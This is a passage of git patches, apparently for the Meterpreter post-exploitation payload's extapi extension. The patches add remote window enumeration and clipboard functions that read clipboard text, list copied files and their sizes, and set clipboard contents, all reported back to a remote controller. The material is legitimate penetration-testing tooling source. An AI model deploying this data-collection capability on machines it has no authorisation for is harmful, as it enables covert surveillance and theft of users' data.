@@ -101,7 +106,9 @@ DWORD enumerate_windows( Packet *response ) DWORD request_window_enum( Remote *remote, Packet *packet ) { + QWORD parentWindow = NULL; DWORD dwResult = ERROR_SUCCESS; + BOOL bIncludeUnknown = FALSE; Packet * response = packet_create_response( packet ); do @@ -112,8 +119,15 @@ DWORD request_window_enum( Remote *remote, Packet *packet ) break; } + // Extract the specified parent window. If this is NULL, that's ok, as we'll + // just enumerate top-level windows. + parentWindow = packet_get_tlv_value_qword( packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE ); + + // Extract the flag that indicates of unknown windows should be included in the output + bIncludeUnknown = packet_get_tlv_value_bool( packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN ); + dprintf( "Beginning window enumeration" ); - dwResult = enumerate_windows( response ); + dwResult = enumerate_windows( response, bIncludeUnknown, parentWindow ); } while(0); From f6eca6061535e19a9022009eb1adee7b540dbc12 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 15 Oct 2013 23:55:46 +1000 Subject: [PATCH 06/20] Add clipboard text get/set functionality This commit adds the beginnings of clipboard munging support. Getting and setting of text-based data is supported. Over time, more formats will be supported. --- source/extensions/extapi/clipboard.c | 268 ++++++++++++++++++ source/extensions/extapi/clipboard.h | 11 + source/extensions/extapi/extapi.c | 10 + source/extensions/extapi/extapi.h | 2 + source/extensions/extapi/window.c | 16 +- .../ext_server_extapi.vcxproj | 2 + 6 files changed, 304 insertions(+), 5 deletions(-) create mode 100644 source/extensions/extapi/clipboard.c create mode 100644 source/extensions/extapi/clipboard.h diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c new file mode 100644 index 0000000..478f18f --- /dev/null +++ b/source/extensions/extapi/clipboard.c @@ -0,0 +1,268 @@ +/*! + * @file clipboard.h + * @brief Definitions for clipboard interaction functionality. + */ +#include "extapi.h" +#include "clipboard.h" + +#ifdef _WIN32 +/*! @brief GlobalAlloc function pointer type. */ +typedef HGLOBAL (WINAPI * PGLOBALALLOC)( UINT uFlags, SIZE_T dwBytes ); + +/*! @brief GlobalFree function pointer type. */ +typedef HGLOBAL (WINAPI * PGLOBALFREE)( HGLOBAL hMem ); + +/*! @brief GlobalLock function pointer type. */ +typedef LPVOID (WINAPI * PGLOBALLOCK)( HGLOBAL hMem ); + +/*! @brief GlobalUnlock function pointer type. */ +typedef LPVOID (WINAPI * PGLOBALUNLOCK)( HGLOBAL hMem ); + +/*! @brief OpenClipboard function pointer type. */ +typedef BOOL (WINAPI * POPENCLIPBOARD)( HWND hWndNewOwner ); + +/*! @brief CloseClipboard function pointer type. */ +typedef BOOL (WINAPI * PCLOSECLIPBOARD)(); + +/*! @brief SetClipboardData function pointer type. */ +typedef HANDLE (WINAPI * PSETCLIPBOARDDATA)( UINT uFormat, HANDLE hMem ); + +/*! @brief SetClipboardData function pointer type. */ +typedef HANDLE (WINAPI * PGETCLIPBOARDDATA)( UINT uFormat ); + +/*! @brief EmptyClipboard function pointer type. */ +typedef BOOL (WINAPI * PEMPTYCLIPBOARD)(); + +#endif + +/*! + * @brief Handle the request to get the data from the clipboard. + * @details This function currently only supports the following clipboard data formats: + * - CF_TEXT - raw text data. + * + * Over time more formats will be supported. + * @param remote Pointer to the remote endpoint. + * @param packet Pointer to the request packet. + * @return Indication of success or failure. + * @todo Add support for more data formats. + */ +DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) +{ +#ifdef _WIN32 + DWORD dwResult; + HMODULE hKernel32 = NULL; + HMODULE hUser32 = NULL; + + PGLOBALLOCK pGlobalLock = NULL; + PGLOBALUNLOCK pGlobalUnlock = NULL; + + POPENCLIPBOARD pOpenClipboard = NULL; + PCLOSECLIPBOARD pCloseClipboard = NULL; + PGETCLIPBOARDDATA pGetClipboardData = NULL; + + PCHAR lpClipString; + HGLOBAL hClipboardData; + + Packet *pResponse = packet_create_response( packet ); + + do + { + dprintf( "Loading user32.dll" ); + if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load user32.dll" ); + + dprintf( "Loading kernel32.dll" ); + if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load kernel32.dll" ); + + dprintf( "Searching for GlobalLock" ); + if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" ); + + dprintf( "Searching for GlobalUnlock" ); + if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" ); + + dprintf( "Searching for OpenClipboard" ); + if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" ); + + dprintf( "Searching for CloseClipboard" ); + if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" ); + + dprintf( "Searching for GetClipboardData" ); + if( (pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress( hUser32, "GetClipboardData" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GetClipboardData in user32.dll" ); + + // Try to get a lock on the clipboard + if( !pOpenClipboard( NULL ) ) { + dwResult = GetLastError(); + BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult ); + } + + dprintf( "Clipboard locked, attempting to get data..." ); + + // For now we only support text, more formats to come later. + if( (hClipboardData = pGetClipboardData( CF_TEXT ) ) != NULL + && (lpClipString = (PCHAR)pGlobalLock( hClipboardData )) != NULL ) { + dprintf( "Clipboard text captured: %s", lpClipString ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString ); + pGlobalUnlock( hClipboardData ); + dwResult = ERROR_SUCCESS; + } else { + dwResult = GetLastError(); + dprintf( "Unable to get clipboard data %u (0x%x)", dwResult, dwResult ); + } + + pCloseClipboard(); + + } while(0); + + if( hKernel32 ) + FreeLibrary( hKernel32 ); + + if( hUser32 ) + FreeLibrary( hUser32 ); + + if( pResponse ) + packet_transmit_response( dwResult, remote, pResponse ); + + return dwResult; +#else + return ERROR_NOT_SUPPORTED; +#endif +} + +/*! + * @brief Handle the request to set the data that's on the clipboard. + * @details This function currently only supports the following clipboard data formats: + * - CF_TEXT - raw text data. + * + * Over time more formats will be supported. + * @param remote Pointer to the remote endpoint. + * @param packet Pointer to the request packet. + * @return Indication of success or failure. + * @todo Add support for more data formats. + */ +DWORD request_clipboard_set_data( Remote *remote, Packet *packet ) +{ +#ifdef _WIN32 + DWORD dwResult; + HMODULE hKernel32 = NULL; + HMODULE hUser32 = NULL; + + PGLOBALALLOC pGlobalAlloc = NULL; + PGLOBALFREE pGlobalFree = NULL; + PGLOBALLOCK pGlobalLock = NULL; + PGLOBALUNLOCK pGlobalUnlock = NULL; + + POPENCLIPBOARD pOpenClipboard = NULL; + PCLOSECLIPBOARD pCloseClipboard = NULL; + PSETCLIPBOARDDATA pSetClipboardData = NULL; + PEMPTYCLIPBOARD pEmptyClipboard = NULL; + + PCHAR lpClipString; + HGLOBAL hClipboardData; + PCHAR lpLockedData; + SIZE_T cbStringBytes; + + do + { + if( (lpClipString = packet_get_tlv_value_string( packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT )) == NULL ) + BREAK_WITH_ERROR( "No string data specified", ERROR_INVALID_PARAMETER ); + + dprintf( "Loading user32.dll" ); + if( (hUser32 = LoadLibraryA( "user32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load user32.dll" ); + + dprintf( "Loading kernel32.dll" ); + if( (hKernel32 = LoadLibraryA( "kernel32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load kernel32.dll" ); + + dprintf( "Searching for GlobalAlloc" ); + if( (pGlobalAlloc = (PGLOBALALLOC)GetProcAddress( hKernel32, "GlobalAlloc" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GlobalAlloc in kernel32.dll" ); + + dprintf( "Searching for GlobalLock" ); + if( (pGlobalLock = (PGLOBALLOCK)GetProcAddress( hKernel32, "GlobalLock" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GlobalLock in kernel32.dll" ); + + dprintf( "Searching for GlobalUnlock" ); + if( (pGlobalUnlock = (PGLOBALUNLOCK)GetProcAddress( hKernel32, "GlobalUnlock" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GlobalUnlock in kernel32.dll" ); + + dprintf( "Searching for OpenClipboard" ); + if( (pOpenClipboard = (POPENCLIPBOARD)GetProcAddress( hUser32, "OpenClipboard" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate OpenClipboard in user32.dll" ); + + dprintf( "Searching for CloseClipboard" ); + if( (pCloseClipboard = (PCLOSECLIPBOARD)GetProcAddress( hUser32, "CloseClipboard" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate CloseClipboard in user32.dll" ); + + dprintf( "Searching for EmptyClipboard" ); + if( (pEmptyClipboard = (PEMPTYCLIPBOARD)GetProcAddress( hUser32, "EmptyClipboard" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate EmptyClipboard in user32.dll" ); + + dprintf( "Searching for SetClipboardData" ); + if( (pSetClipboardData = (PSETCLIPBOARDDATA)GetProcAddress( hUser32, "SetClipboardData" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate SetClipboardData in user32.dll" ); + + cbStringBytes = (SIZE_T)strlen( lpClipString ) + 1; + + // do the "use the right kind of memory once locked" clip board data dance. + // Note that we don't free up the memory we've allocated with GlobalAlloc + // because the windows clipboard magic does it for us. + if( (hClipboardData = pGlobalAlloc( GMEM_MOVEABLE | GMEM_DDESHARE, cbStringBytes )) == NULL ) { + dwResult = GetLastError(); + pCloseClipboard(); + BREAK_WITH_ERROR( "Failed to allocate clipboard memory", dwResult ); + } + + lpLockedData = (PCHAR)pGlobalLock( hClipboardData ); + + memcpy_s( lpLockedData, cbStringBytes, lpClipString, cbStringBytes ); + + pGlobalUnlock( hClipboardData ); + + // Try to get a lock on the clipboard + if( !pOpenClipboard( NULL ) ) { + dwResult = GetLastError(); + BREAK_WITH_ERROR( "Unable to open the clipboard", dwResult ); + } + + // Clear the clipboard data + pEmptyClipboard(); + + if( !pSetClipboardData( CF_TEXT, hClipboardData ) ) { + dwResult = GetLastError(); + dprintf( "Failed to set the clipboad data: %u", dwResult ); + } else { + dwResult = ERROR_SUCCESS; + } + + pCloseClipboard(); + + } while(0); + + // If something went wrong and we have clipboard data, then we need to + // free it up because the clipboard can't do it for us. + if( dwResult != ERROR_SUCCESS && hClipboardData != NULL ) { + dprintf( "Searching for GlobalFree" ); + if( (pGlobalFree = (PGLOBALFREE)GetProcAddress( hKernel32, "GlobalFree" )) != NULL ) + pGlobalFree( hClipboardData ); + } + + if( hKernel32 ) + FreeLibrary( hKernel32 ); + + if( hUser32 ) + FreeLibrary( hUser32 ); + + packet_transmit_empty_response( remote, packet, dwResult ); + + return dwResult; +#else + return ERROR_NOT_SUPPORTED; +#endif +} \ No newline at end of file diff --git a/source/extensions/extapi/clipboard.h b/source/extensions/extapi/clipboard.h new file mode 100644 index 0000000..b27aea6 --- /dev/null +++ b/source/extensions/extapi/clipboard.h @@ -0,0 +1,11 @@ +/*! + * @file clipboard.h + * @brief Declarations for clipboard interaction functionality + */ +#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H +#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H + +DWORD request_clipboard_set_data( Remote *remote, Packet *packet ); +DWORD request_clipboard_get_data( Remote *remote, Packet *packet ); + +#endif diff --git a/source/extensions/extapi/extapi.c b/source/extensions/extapi/extapi.c index 0804bf9..1b665ed 100644 --- a/source/extensions/extapi/extapi.c +++ b/source/extensions/extapi/extapi.c @@ -12,6 +12,7 @@ #include "window.h" #include "service.h" +#include "clipboard.h" // this sets the delay load hook function, see DelayLoadMetSrv.h EnableDelayLoadMetSrv(); @@ -32,6 +33,15 @@ Command customCommands[] = { request_service_query, { 0 }, 0 }, { EMPTY_DISPATCH_HANDLER } }, + // Clipboard interaction + { "extapi_clipboard_get_data", + { request_clipboard_get_data, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER } + }, + { "extapi_clipboard_set_data", + { request_clipboard_set_data, { 0 }, 0 }, + { EMPTY_DISPATCH_HANDLER } + }, // Terminator { NULL, { EMPTY_DISPATCH_HANDLER }, diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index a145132..18d812a 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -30,4 +30,6 @@ #define TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 25) #define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40) + #endif diff --git a/source/extensions/extapi/window.c b/source/extensions/extapi/window.c index c721cf1..2137fba 100644 --- a/source/extensions/extapi/window.c +++ b/source/extensions/extapi/window.c @@ -1,5 +1,5 @@ /*! - * @file window.h + * @file window.c * @brief Definitions for window management functionality */ #include "extapi.h" @@ -9,18 +9,24 @@ VOID add_enumerated_window( Packet *pResponse, QWORD qwHandle, const char* lpWin DWORD enumerate_windows( Packet *response ); #ifdef _WIN32 + +/*! @brief The maximum number of characters extracted from a window title. */ #define MAX_WINDOW_TITLE 256 +/*! @brief EnumChildWindows function pointer type. */ typedef BOOL (WINAPI * PENUMCHILDWINDOWS)( HWND hWndParent, WNDENUMPROC enumProc, LPARAM lparam ); +/*! @brief GetWindowTextA function pointer type. */ typedef int (WINAPI * PGETWINDOWTEXA)( HWND hWnd, LPSTR lpString, int nMaxCount ); +/*! @brief GetWindowThreadProcessId function pointer type. */ typedef DWORD (WINAPI * PGETWINDOWTHREADPROCESSID)( HWND hWnd, LPDWORD lpdwProcessId ); +/*! @brief Container type used to maintain state across EnumChildWindows callback calls. */ typedef struct _EnumWindowsState { - Packet* pResponse; - BOOL bIncludeUnknown; - PGETWINDOWTEXA pGetWindowTextA; - PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; + Packet* pResponse; ///< Pointer to the \c Packet to add results to. + BOOL bIncludeUnknown; ///< Flag indicating if unknown windows should be included. + PGETWINDOWTEXA pGetWindowTextA; ///< Pointer to the GetWindowTextA function. + PGETWINDOWTHREADPROCESSID pGetWindowThreadProcessId; ///< Pointer to the GetWindowThreadProcessId function. } EnumWindowsState; BOOL CALLBACK enumerate_windows_callback( HWND hWnd, LPARAM lParam ) diff --git a/workspace/ext_server_extapi/ext_server_extapi.vcxproj b/workspace/ext_server_extapi/ext_server_extapi.vcxproj index fa32fc1..61f9ffe 100644 --- a/workspace/ext_server_extapi/ext_server_extapi.vcxproj +++ b/workspace/ext_server_extapi/ext_server_extapi.vcxproj @@ -455,11 +455,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho + + From c40d8c6928b165bb37704da3601ff7d9f4333a47 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 16 Oct 2013 17:43:14 +1000 Subject: [PATCH 07/20] Add support for CF_HDROP to clipboard handling Lists of files can now be downloaded from the clipboard. Downloading of the files themselves is something that should be done by MSF as that's already built in. --- source/extensions/extapi/clipboard.c | 84 ++++++++++++++++++++++++---- source/extensions/extapi/extapi.h | 1 + 2 files changed, 73 insertions(+), 12 deletions(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index 478f18f..8fe9770 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -30,15 +30,22 @@ typedef HANDLE (WINAPI * PSETCLIPBOARDDATA)( UINT uFormat, HANDLE hMem ); /*! @brief SetClipboardData function pointer type. */ typedef HANDLE (WINAPI * PGETCLIPBOARDDATA)( UINT uFormat ); +/*! @brief EnumClipboardFormats function pointer type. */ +typedef UINT (WINAPI * PENUMCLIPBOARDFORMATS)( UINT uFormat ); + /*! @brief EmptyClipboard function pointer type. */ typedef BOOL (WINAPI * PEMPTYCLIPBOARD)(); +/*! @brief DragQueryFileA function pointer type. */ +typedef BOOL (WINAPI * PDRAGQUERYFILEA)( HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch ); + #endif /*! * @brief Handle the request to get the data from the clipboard. * @details This function currently only supports the following clipboard data formats: * - CF_TEXT - raw text data. + * - CF_HDROP - file selection. * * Over time more formats will be supported. * @param remote Pointer to the remote endpoint. @@ -52,6 +59,7 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) DWORD dwResult; HMODULE hKernel32 = NULL; HMODULE hUser32 = NULL; + HMODULE hShell32 = NULL; PGLOBALLOCK pGlobalLock = NULL; PGLOBALUNLOCK pGlobalUnlock = NULL; @@ -59,9 +67,16 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) POPENCLIPBOARD pOpenClipboard = NULL; PCLOSECLIPBOARD pCloseClipboard = NULL; PGETCLIPBOARDDATA pGetClipboardData = NULL; + PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL; + PDRAGQUERYFILEA pDragQueryFileA = NULL; - PCHAR lpClipString; - HGLOBAL hClipboardData; + PCHAR lpClipString = NULL; + HGLOBAL hClipboardData = NULL; + HDROP hFileDrop = NULL; + UINT uFormat = 0; + UINT uFileIndex = 0; + UINT uFileCount = 0; + CHAR lpFileName[MAX_PATH]; Packet *pResponse = packet_create_response( packet ); @@ -95,6 +110,10 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) if( (pGetClipboardData = (PGETCLIPBOARDDATA)GetProcAddress( hUser32, "GetClipboardData" )) == NULL ) BREAK_ON_ERROR( "Unable to locate GetClipboardData in user32.dll" ); + dprintf( "Searching for EnumClipboardFormats" ); + if( (pEnumClipboardFormats = (PENUMCLIPBOARDFORMATS)GetProcAddress( hUser32, "EnumClipboardFormats" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate EnumClipboardFormats in user32.dll" ); + // Try to get a lock on the clipboard if( !pOpenClipboard( NULL ) ) { dwResult = GetLastError(); @@ -103,22 +122,63 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) dprintf( "Clipboard locked, attempting to get data..." ); - // For now we only support text, more formats to come later. - if( (hClipboardData = pGetClipboardData( CF_TEXT ) ) != NULL - && (lpClipString = (PCHAR)pGlobalLock( hClipboardData )) != NULL ) { - dprintf( "Clipboard text captured: %s", lpClipString ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString ); - pGlobalUnlock( hClipboardData ); - dwResult = ERROR_SUCCESS; - } else { - dwResult = GetLastError(); - dprintf( "Unable to get clipboard data %u (0x%x)", dwResult, dwResult ); + while ( uFormat = pEnumClipboardFormats( uFormat ) ) + { + if( uFormat == CF_TEXT ) { + // there's raw text on the clipboard + if ( (hClipboardData = pGetClipboardData( CF_TEXT ) ) != NULL + && (lpClipString = (PCHAR)pGlobalLock( hClipboardData )) != NULL ) { + + dprintf( "Clipboard text captured: %s", lpClipString ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT, lpClipString ); + + pGlobalUnlock( hClipboardData ); + } + } + else if( uFormat == CF_HDROP ) { + // there's one or more files on the clipboard + dprintf( "Files have been located on the clipboard" ); + do + { + dprintf( "Loading shell32.dll" ); + if( (hShell32 = LoadLibraryA( "shell32.dll" )) == NULL) + BREAK_ON_ERROR( "Unable to load shell32.dll" ); + + dprintf( "Searching for DragQueryFileA" ); + if( (pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress( hShell32, "DragQueryFileA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate CloseClipboard in shell32.dll" ); + + dprintf( "Grabbing the clipboard file drop data" ); + if ( (hClipboardData = pGetClipboardData( CF_HDROP ) ) != NULL + && (hFileDrop = (HDROP)pGlobalLock( hClipboardData )) != NULL ) { + + uFileCount = pDragQueryFileA( hFileDrop, (UINT)-1, NULL, 0 ); + + dprintf( "Parsing %u file(s) on the clipboard.", uFileCount ); + + for( uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex ) { + if( pDragQueryFileA( hFileDrop, uFileIndex, lpFileName, sizeof( lpFileName ) ) ) { + dprintf( "Clipboard file entry: %s", lpFileName ); + packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, lpFileName ); + } + } + + pGlobalUnlock( hClipboardData ); + } + + } while(0); + } } + dwResult = GetLastError(); + pCloseClipboard(); } while(0); + if( hShell32 ) + FreeLibrary( hShell32 ); + if( hKernel32 ) FreeLibrary( hKernel32 ); diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 18d812a..6a587e3 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -31,5 +31,6 @@ #define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) #endif From 327041d8e12d826d17555b0c34376775981663a3 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 16 Oct 2013 22:53:45 +1000 Subject: [PATCH 08/20] Add size (bytes) of the files on the clipboard --- source/extensions/extapi/clipboard.c | 51 +++++++++++++++++++++++++++- source/extensions/extapi/extapi.h | 4 ++- 2 files changed, 53 insertions(+), 2 deletions(-) diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index 8fe9770..c505c6c 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -39,6 +39,16 @@ typedef BOOL (WINAPI * PEMPTYCLIPBOARD)(); /*! @brief DragQueryFileA function pointer type. */ typedef BOOL (WINAPI * PDRAGQUERYFILEA)( HDROP hDrop, UINT iFile, LPSTR lpszFile, UINT cch ); +/*! @brief CreateFileA function pointer type. */ +typedef HANDLE (WINAPI * PCREATEFILEA)( LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, + DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); + +/*! @brief CloseHandle function pointer type. */ +typedef BOOL (WINAPI * PCLOSEHANDLE)( HANDLE hObject ); + +/*! @brief GetFileSizeEx function pointer type. */ +typedef BOOL (WINAPI * PGETFILESIZEEX)( HANDLE hFile, PLARGE_INTEGER lpFileSize ); + #endif /*! @@ -69,7 +79,11 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) PGETCLIPBOARDDATA pGetClipboardData = NULL; PENUMCLIPBOARDFORMATS pEnumClipboardFormats = NULL; PDRAGQUERYFILEA pDragQueryFileA = NULL; + PCREATEFILEA pCreateFileA = NULL; + PCLOSEHANDLE pCloseHandle = NULL; + PGETFILESIZEEX pGetFileSizeEx = NULL; + HANDLE hSourceFile = NULL; PCHAR lpClipString = NULL; HGLOBAL hClipboardData = NULL; HDROP hFileDrop = NULL; @@ -77,6 +91,9 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) UINT uFileIndex = 0; UINT uFileCount = 0; CHAR lpFileName[MAX_PATH]; + Tlv entries[2] = {0}; + LARGE_INTEGER largeInt = {0}; + Packet *pResponse = packet_create_response( packet ); @@ -144,6 +161,18 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) if( (hShell32 = LoadLibraryA( "shell32.dll" )) == NULL) BREAK_ON_ERROR( "Unable to load shell32.dll" ); + dprintf( "Searching for CreateFileA" ); + if( (pCreateFileA = (PCREATEFILEA)GetProcAddress( hKernel32, "CreateFileA" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate CreateFileA in kernel32.dll" ); + + dprintf( "Searching for CloseHandle" ); + if( (pCloseHandle = (PCLOSEHANDLE)GetProcAddress( hKernel32, "CloseHandle" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate CloseHandle in kernel32.dll" ); + + dprintf( "Searching for GetFileSizeEx" ); + if( (pGetFileSizeEx = (PGETFILESIZEEX)GetProcAddress( hKernel32, "GetFileSizeEx" )) == NULL ) + BREAK_ON_ERROR( "Unable to locate GetFileSizeEx in kernel32.dll" ); + dprintf( "Searching for DragQueryFileA" ); if( (pDragQueryFileA = (PDRAGQUERYFILEA)GetProcAddress( hShell32, "DragQueryFileA" )) == NULL ) BREAK_ON_ERROR( "Unable to locate CloseClipboard in shell32.dll" ); @@ -159,7 +188,27 @@ DWORD request_clipboard_get_data( Remote *remote, Packet *packet ) for( uFileIndex = 0; uFileIndex < uFileCount; ++uFileIndex ) { if( pDragQueryFileA( hFileDrop, uFileIndex, lpFileName, sizeof( lpFileName ) ) ) { dprintf( "Clipboard file entry: %s", lpFileName ); - packet_add_tlv_string( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, lpFileName ); + + memset( &entries, 0, sizeof(entries) ); + memset( &largeInt, 0, sizeof(largeInt) ); + + entries[0].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME; + entries[0].header.length = (DWORD)strlen( lpFileName ) + 1; + entries[0].buffer = (PUCHAR)lpFileName; + + entries[1].header.type = TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE; + entries[1].header.length = sizeof(QWORD); + entries[1].buffer = (PUCHAR)&largeInt.QuadPart; + + if( (hSourceFile = pCreateFileA( lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL )) != NULL ) { + if( pGetFileSizeEx( hSourceFile, &largeInt ) ) { + largeInt.QuadPart = htonq( largeInt.QuadPart ); + } + + pCloseHandle( hSourceFile ); + } + + packet_add_tlv_group( pResponse, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2 ); } } diff --git a/source/extensions/extapi/extapi.h b/source/extensions/extapi/extapi.h index 6a587e3..7d1f206 100644 --- a/source/extensions/extapi/extapi.h +++ b/source/extensions/extapi/extapi.h @@ -31,6 +31,8 @@ #define TLV_TYPE_EXT_SERVICE_QUERY_DACL MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 26) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40) -#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42) +#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43) #endif From 1c36ef89075d735ab41adef8b62d4a0bdcec778e Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 21 Oct 2013 00:02:16 +1000 Subject: [PATCH 09/20] Implement CF_DIB support The clipboard code now supports the `CF_DIB` format on the clipboard. When found, it takes the data and uses GDI+ to convert it into a JPEG. GDI+ was used because: * It's on every Windows machine from XP SP0 onwards (Win2k doesn't work). * It requires linking to a small gdiplus.lib instead of a massive jpeg library. * It's a really easy interface to use that interops easily with the Windows bitmap header information structures. I think it'd be worth considering this approach for the other screenshot applications as well, as it'd reduce the jpeg lib dependency and simplify the codebase. --- source/extensions/extapi/clipboard.c | 28 ++- source/extensions/extapi/clipboard_image.cpp | 160 ++++++++++++++++++ source/extensions/extapi/clipboard_image.h | 22 +++ source/extensions/extapi/extapi.h | 1 + .../ext_server_extapi.vcxproj | 20 ++- 5 files changed, 221 insertions(+), 10 deletions(-) create mode 100644 source/extensions/extapi/clipboard_image.cpp create mode 100644 source/extensions/extapi/clipboard_image.h diff --git a/source/extensions/extapi/clipboard.c b/source/extensions/extapi/clipboard.c index c505c6c..d78edce 100644 --- a/source/extensions/extapi/clipboard.c +++ b/source/extensions/extapi/clipboard.c @@ -4,6 +4,7 @@ */ #include "extapi.h" #include "clipboard.h" +#include "clipboard_image.h" #ifdef _WIN32 /*! @brief 